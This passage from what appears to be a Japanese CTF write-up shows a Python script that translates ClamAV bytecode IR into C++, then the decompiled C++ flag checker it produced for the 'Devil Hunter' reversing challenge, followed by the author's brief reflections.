            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ({parse_direct_or_indirect_expression(lhv_var)} + {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_GEPN":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_STORE":
        def core():
            m = re.match(r"store (\d+) -> ([p.\d]+)", inst)
            assert m
            src = m.group(1)
            dst = m.group(2)
            write(f"*{parse_direct_or_indirect_expression(dst)} = {parse_symbol(src)};")
        core()
    elif opcode == "OP_BC_LOAD":
        def core():
            m = re.match(r"load\s+(\d+) <- ([p.\d]+)", inst) # loadの後だけスペースが2つある,storeと文字数を合わせる都合かもしれない
            assert m
            dst = m.group(1)
            src = m.group(2)
            write(f"{parse_symbol(dst)} = *{parse_direct_or_indirect_expression(src)};")
        core()
    elif opcode == "OP_BC_MEMSET":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_MEMCPY":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_MEMMOVE":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_MEMCMP":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_ISBIGENDIAN":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_ABORT":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_BSWAP16":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_BSWAP32":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_BSWAP64":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_PTRDIFF32":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_PTRTOINT64":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    else: raise Exception(f"Unknown OPCODE: {opcode}")
    return BB

def test(line):
    write_function_body_line(None, line, 0, -1)




with open("clambc_printbcir.txt.original") as f:
    lines = list(f)

SEPARETOR = "------------------------------------------------------------------------"
write_file_header()
it = iter(lines)
while True:
    try:
        line = next(it).rstrip()
        m = re.search(r"^####################### Function id   (\d)", line)
        if m is not None:
            function_id = m.group(1)
            write_function_header(function_id)

            while True:
                line = next(it).rstrip()
                if line == "VID  ID    VALUE":break
            assert next(it).rstrip() == SEPARETOR
            variable_count = 0
            while True:
                line = next(it).rstrip()
                if line == SEPARETOR: break
                write_local_variable_line(line)
                variable_count += 1

            while True:
                line = next(it).rstrip()
                if line == "CID  ID    VALUE":break
            assert next(it).rstrip() == SEPARETOR
            while True:
                line = next(it).rstrip()
                if line == SEPARETOR: break
                write_constant_variable_line(line)

            while True:
                line = next(it).rstrip()
                if line == "BB   IDX  OPCODE              [ID /IID/MOD]  INST":break
            assert next(it).rstrip() == SEPARETOR

            lastBbIndex = -1
            while True:
                line = next(it).rstrip()
                if len(line) == 0: continue
                if line == SEPARETOR: break
                lastBbIndex = write_function_body_line(line, variable_count, lastBbIndex)
            write_function_footer()
    except(StopIteration): break
write_file_footer()
// this file is genereted by script
#include <cstdio>
#include <cstring>
#include <stdexcept>


bool g_succeeded = false;
signed char g_input[256];
int g_inputLength = 0;
int g_currentIndex = 0;
int my_setvirusname(...)
{
    g_succeeded = true;
    return 0;
}
int my_read(signed char*p, int length)
{
    // 今回のlengthは1のみ
    if (g_currentIndex < g_inputLength)
    {
        *p = g_input[g_currentIndex];
        g_currentIndex += 1;
        return 1;
    }
    else
    {
        return 0;
    }
}
int my_seek(int position, int type)
{
    // 今回はtypeは0(=big)のみ
    g_currentIndex = position;
    return 0; // 特段使わなさそう
}

int Func0();
bool Func1();
int Func2(int);

int Func0() {
bool var0 = {};
int var1 = {};
constexpr auto const2 = 0x00000015;
constexpr auto const3 = 0x00000000;

label0:
var0 = Func1();
if (var0 & 1) {goto label1;} else {goto label2;}

label1:
var1 = my_setvirusname(0, const2);
goto label2;

label2:
return const3;

throw std::logic_error("Must not reach here");
}

bool Func1() {
long long var0 = {};
long long var1 = {};
long long var2 = {};
signed char var3 = {};
signed char var4[36] = {};
signed char* var5 = {};
signed char var6[36] = {};
signed char* var7 = {};
int var8 = {};
bool var9 = {};
long long var10 = {};
long long var11 = {};
long long var12 = {};
int var13 = {};
signed char* var14 = {};
signed char* var15 = {};
int var16 = {};
bool var17 = {};
long long var18 = {};
int var19 = {};
bool var20 = {};
signed char var21 = {};
bool var22 = {};
bool var23 = {};
int var24 = {};
bool var25 = {};
long long var26 = {};
long long var27 = {};
long long var28 = {};
int var29 = {};
signed char* var30 = {};
signed char* var31 = {};
int var32 = {};
int var33 = {};
long long var34 = {};
long long var35 = {};
int var36 = {};
int var37 = {};
signed char* var38 = {};
int var39 = {};
signed char* var40 = {};
long long var41 = {};
bool var42 = {};
int var43 = {};
bool var44 = {};
int var45 = {};
signed char* var46 = {};
int var47 = {};
signed char* var48 = {};
int var49 = {};
bool var50 = {};
bool var51 = {};
int var52 = {};
signed char* var53 = {};
int var54 = {};
signed char* var55 = {};
int var56 = {};
bool var57 = {};
bool var58 = {};
int var59 = {};
signed char* var60 = {};
int var61 = {};
signed char* var62 = {};
int var63 = {};
bool var64 = {};
bool var65 = {};
int var66 = {};
signed char* var67 = {};
int var68 = {};
signed char* var69 = {};
int var70 = {};
bool var71 = {};
bool var72 = {};
int var73 = {};
signed char* var74 = {};
int var75 = {};
signed char* var76 = {};
int var77 = {};
bool var78 = {};
bool var79 = {};
int var80 = {};
signed char* var81 = {};
int var82 = {};
signed char* var83 = {};
int var84 = {};
bool var85 = {};
bool var86 = {};
int var87 = {};
signed char* var88 = {};
int var89 = {};
signed char* var90 = {};
int var91 = {};
bool var92 = {};
bool var93 = {};
int var94 = {};
signed char* var95 = {};
int var96 = {};
signed char* var97 = {};
int var98 = {};
bool var99 = {};
bool var100 = {};
long long var101 = {};
long long var102 = {};
bool var103 = {};
constexpr auto const104 = 0x00000000;
constexpr auto const105 = 0x00000000;
constexpr auto const106 = 0x00000007;
constexpr auto const107 = 0x00000000;
constexpr auto const108 = 0x00000000;
constexpr auto const109 = 0x00000024;
constexpr auto const110 = 0x00000020;
constexpr auto const111 = 0x00000020;
constexpr auto const112 = 0x00000000;
constexpr auto const113 = 0x00000001;
constexpr auto const114 = 0x00000001;
constexpr auto const115 = 0x00000001;
constexpr auto const116 = 0x00000000;
constexpr auto const117 = 0x00000001;
constexpr auto const118 = 0x00000000;
constexpr auto const119 = 0x0000007D;
constexpr auto const120 = 0x00000000;
constexpr auto const121 = 0x00000001;
constexpr auto const122 = 0x00000000;
constexpr auto const123 = 0x00000000;
constexpr auto const124 = 0x00000000;
constexpr auto const125 = 0x00000020;
constexpr auto const126 = 0x00000020;
constexpr auto const127 = 0x00000000;
constexpr auto const128 = 0x0000001E;
constexpr auto const129 = 0x00000020;
constexpr auto const130 = 0x00000004;
constexpr auto const131 = 0x00000000;
constexpr auto const132 = 0x00000004;
constexpr auto const133 = 0x00000004;
constexpr auto const134 = 0x00000024;
constexpr auto const135 = 0x739E80A2;
constexpr auto const136 = 0x00000004;
constexpr auto const137 = 0x00000000;
constexpr auto const138 = 0x00000004;
constexpr auto const139 = 0x00000001;
constexpr auto const140 = 0x3AAE80A3;
constexpr auto const141 = 0x00000004;
constexpr auto const142 = 0x00000000;
constexpr auto const143 = 0x00000004;
constexpr auto const144 = 0x00000002;
constexpr auto const145 = 0x3BA4E79F;
constexpr auto const146 = 0x00000004;
constexpr auto const147 = 0x00000000;
constexpr auto const148 = 0x00000004;
constexpr auto const149 = 0x00000003;
constexpr auto const150 = 0x78BAC1F3;
constexpr auto const151 = 0x00000004;
constexpr auto const152 = 0x00000000;
constexpr auto const153 = 0x00000004;
constexpr auto const154 = 0x00000004;
constexpr auto const155 = 0x5EF9C1F3;
constexpr auto const156 = 0x00000004;
constexpr auto const157 = 0x00000000;
constexpr auto const158 = 0x00000004;
constexpr auto const159 = 0x00000005;
constexpr auto const160 = 0x3BB9EC9F;
constexpr auto const161 = 0x00000004;
constexpr auto const162 = 0x00000000;
constexpr auto const163 = 0x00000004;
constexpr auto const164 = 0x00000006;
constexpr auto const165 = 0x558683F4;
constexpr auto const166 = 0x00000004;
constexpr auto const167 = 0x00000000;
constexpr auto const168 = 0x00000004;
constexpr auto const169 = 0x00000007;
constexpr auto const170 = 0x55FAD594;
constexpr auto const171 = 0x00000004;
constexpr auto const172 = 0x00000000;
constexpr auto const173 = 0x00000004;
constexpr auto const174 = 0x00000008;
constexpr auto const175 = 0x6CBFDD9F;

label0:
var5 = (var4 + const104);
var7 = (var6 + const105);
var8 = my_seek(const106, const107);
var2 = const108;
goto label2;

label1:
var9 = ((unsigned long long)(long long)var18 < (unsigned long long)(long long)const109);
var2 = var18;
if (var9 & 1) {goto label2;} else {goto label3;}

label2:
var10 = var2;
var11 = (var10 << const110);
var12 = ((long long)var11 >> const111);
var13 = (var12 & 0xffffffffffffffff);
var14 = (var4 + const112);
var15 = (var14 + (var13 * var65));
var16 = my_read(var15, const113);
var17 = (var16 < const114);
var18 = (var10 + const115);
var0 = const116;
if (var17 & 1) {goto label7;} else {goto label1;}

label3:
var19 = my_read(&var3, const117);
var20 = ((long long)var19 > (long long)const118);
var21 = var3;
var22 = (var21 == const119);
var23 = (var20 & var22);
var0 = const120;
if (var23 & 1) {goto label4;} else {goto label7;}

label4:
var24 = my_read(&var3, const121);
var25 = ((long long)var24 > (long long)const122);
var1 = const123;
var0 = const124;
if (var25 & 1) {goto label7;} else {goto label5;}

label5:
var26 = var1;
var27 = (var26 << const125);
var28 = ((long long)var27 >> const126);
var29 = (var28 & 0xffffffffffffffff);
var30 = (var4 + const127);
var31 = (var30 + (var29 * var65));
var32 = *var31;
var33 = Func2(var32);
var34 = (var26 << const128);
var35 = ((long long)var34 >> const129);
var36 = (var35 & 0xffffffffffffffff);
var37 = (const130 * const131);
var38 = (var7 + (var37 * var65));
var39 = (const132 * var36);
var40 = (var38 + (var39 * var65));
*var40 = var33;
var41 = (var26 + const133);
var42 = ((unsigned long long)(long long)var41 < (unsigned long long)(long long)const134);
var1 = var41;
if (var42 & 1) {goto label5;} else {goto label6;}

label6:
var43 = *var7;
var44 = (var43 == const135);
var45 = (const136 * const137);
var46 = (var7 + (var45 * var65));
var47 = (const138 * const139);
var48 = (var46 + (var47 * var65));
var49 = *var48;
var50 = (var49 == const140);
var51 = (var44 & var50);
var52 = (const141 * const142);
var53 = (var7 + (var52 * var65));
var54 = (const143 * const144);
var55 = (var53 + (var54 * var65));
var56 = *var55;
var57 = (var56 == const145);
var58 = (var51 & var57);
var59 = (const146 * const147);
var60 = (var7 + (var59 * var65));
var61 = (const148 * const149);
var62 = (var60 + (var61 * var65));
var63 = *var62;
var64 = (var63 == const150);
var65 = (var58 & var64);
var66 = (const151 * const152);
var67 = (var7 + (var66 * var65));
var68 = (const153 * const154);
var69 = (var67 + (var68 * var65));
var70 = *var69;
var71 = (var70 == const155);
var72 = (var65 & var71);
var73 = (const156 * const157);
var74 = (var7 + (var73 * var65));
var75 = (const158 * const159);
var76 = (var74 + (var75 * var65));
var77 = *var76;
var78 = (var77 == const160);
var79 = (var72 & var78);
var80 = (const161 * const162);
var81 = (var7 + (var80 * var65));
var82 = (const163 * const164);
var83 = (var81 + (var82 * var65));
var84 = *var83;
var85 = (var84 == const165);
var86 = (var79 & var85);
var87 = (const166 * const167);
var88 = (var7 + (var87 * var65));
var89 = (const168 * const169);
var90 = (var88 + (var89 * var65));
var91 = *var90;
var92 = (var91 == const170);
var93 = (var86 & var92);
var94 = (const171 * const172);
var95 = (var7 + (var94 * var65));
var96 = (const173 * const174);
var97 = (var95 + (var96 * var65));
var98 = *var97;
var99 = (var98 == const175);
var100 = (var93 & var99);
var101 = (long long)var100 & 0x00000001;
var0 = var101;
goto label7;

label7:
var102 = var0;
var103 = (var102 & 0xffffffffffffffff);
return var103;

throw std::logic_error("Must not reach here");
}

int Func2(int var0) {
long long var1 = {};
long long var2 = {};
long long var3 = {};
long long var4 = {};
int var5 = {};
int var6 = {};
int var7 = {};
int var8 = {};
int var9 = {};
int var10 = {};
int var11 = {};
int var12 = {};
int var13 = {};
int var14 = {};
bool var15 = {};
long long var16 = {};
long long var17 = {};
constexpr auto const18 = 0x00000000;
constexpr auto const19 = 0x0ACAB3C0;
constexpr auto const20 = 0x00000003;
constexpr auto const21 = 0x000000FF;
constexpr auto const22 = 0x00000008;
constexpr auto const23 = 0x00000018;
constexpr auto const24 = 0x00000001;
constexpr auto const25 = 0x00000004;

label0:
var2 = const18;
var1 = const19;
goto label1;

label1:
var3 = var1;
var4 = var2;
var5 = (var3 & 0xffffffffffffffff);
var6 = (var4 & 0xffffffffffffffff);
var7 = (var6 << const20);
var8 = (long long)((unsigned long long)(long long)var0 >> var7);
var9 = (var8 & const21);
var10 = (var9 ^ var5);
var11 = (var10 << const22);
var12 = (long long)((unsigned long long)(long long)var5 >> const23);
var13 = (var11 | var12);
var14 = (var6 + const24);
var15 = (var14 == const25);
var16 = (long long)var14 & 0x000FFFFF;
var17 = (long long)var13 & 0x000FFFFF;
var2 = var16;
var1 = var17;
if (var15 & 1) {goto label2;} else {goto label1;}

label2:
return var13;

throw std::logic_error("Must not reach here");
}



int main() {
    g_inputLength = scanf("%s", g_input);
    Func0();
    puts(g_succeeded ? "Congratulations!" : "Wrong...");
}

感想

  • 非warmup問題を解けたので満足です!
  • 正解チームが多いとは言え、Rust製バイナリ問題も解けたので満足です!
  • Devil Hunter問題のような実行可能バイナリではない独自形式は、頼れる手段が減って難しいです。